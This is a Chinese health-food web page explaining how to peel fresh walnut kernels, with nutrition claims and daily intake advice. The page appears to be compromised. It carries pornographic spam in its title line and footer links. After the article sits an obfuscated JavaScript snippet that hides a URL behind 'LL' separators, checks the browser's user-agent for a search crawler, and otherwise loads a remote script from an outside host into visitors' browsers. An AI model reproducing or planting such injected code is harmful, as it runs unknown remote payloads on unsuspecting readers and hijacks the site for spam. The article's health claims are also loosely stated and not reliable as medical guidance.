久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

鮮核桃仁怎么去皮呢?

2017-04-21 19:47:23  來源:360常識網(wǎng)   熱度:
導(dǎo)語:我們都知道核桃仁的營養(yǎng)價值是非常的高的,而且還有很高的藥用價值,如果常吃不但可以起到健腦的作用,還可以美容養(yǎng)顏、烏發(fā)補腎。但是有的

我們都知道核桃仁的營養(yǎng)價值是非常的高的,而且還有很高的藥用價值,如果常吃不但可以起到健腦的作用,還可以美容養(yǎng)顏、烏發(fā)補腎。但是有的人不太喜歡吃核桃仁的那一層褐色的外皮,感覺有一點澀澀的苦味,尤其是小孩子更是抵觸。那么,鮮核桃仁有什么辦法可以快速的去掉這層皮呢?

核桃仁的營養(yǎng)價值

核桃可以減少腸道對膽固醇的吸收,對動脈硬化、高血壓和冠心病人有益,核桃有溫肺定喘和防止細(xì)胞老化的功效,還能有效地改善記憶力、延緩衰老并潤澤肌膚。核桃樹葉中含有抗生物質(zhì),因此也有殺菌的功效。

核桃仁的去皮辦法:

1、最簡便方法是將核桃肉放開水中浸泡,隨后用竹簽剔,這樣能輕易地將衣成片揭下。若在開水中放些鹽,效果更好。

2、將核桃置于鍋內(nèi),大火蒸10分鐘,立即放入冷水中浸3分鐘,撈出逐個去殼,便得完整果仁,再將果仁放入開水中燙4分鐘,用手輕輕一捻,皮即脫落。

食用核桃仁的注意事項:

需要提醒的是,核桃的適宜食用量為每天5-6個,約20-30克核桃仁。

禁忌人群:腹瀉、陰虛火旺者;痰熱咳嗽、便溏腹瀉、素有內(nèi)熱盛及痰濕重者均不宜服用。

適宜人群:一般人群均可食用。適宜腎虛、肺虛、神經(jīng)衰弱、氣血不足、癌癥患者多食;尤其適合腦力勞動者和青少年。

如果實在是不能吃核桃仁的這層褐色的外皮,可以采用上述的辦法來快速的去皮,但是這層褐色的皮也有很好的滋補作用,所以建議保留這層皮,和核桃仁一起吃比較好。同時還要注意,核桃雖好,但是每天的食用量不宜太大,一天最多五六個就可以了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日韩精品一区二区三区四区 | 国产欧美一区二区在线观看 | 久久9久久 | 中文字幕亚洲字幕一区二区 | 欧美激情综合色综合啪啪五月 | 国产色视频在线观看免费 | 欧美一级在线 | 成人性生交大片免费看中文带字幕 | aa级毛片毛片免费观看久 | 中文字幕在线视频网 | 国产高清视频一区 | 国产在线偷 | 亚州成人 | 亚洲黄色在线 | 国产精品视频免费观看 | 欧美日本三级 | 9999国产精品 | 日韩欧美视频 | 欧美久久久久久久久久久久 | 国产片侵犯亲女视频播放 | 久久成人在线视频 | 日韩一级视频 | 免费一区 | 日韩成人av网站 | 九九热精 | 91男女视频| 亚洲特级 | 巨骚综合 | 亚洲最大免费视频 | 久草在线观看福利视频 | 亚洲精品永久免费 | 国产精品一区欧美 | 叶山小百合av一区二区 | 免费a爱片猛猛 | 中文字幕av一区二区 | 亚洲欧美激情在线 | 一级片av| 国产精品极品美女在线观看免费 | 欧美一区二区三区精品免费 | 国产精品一区二区四区 | 日韩av高清在线 |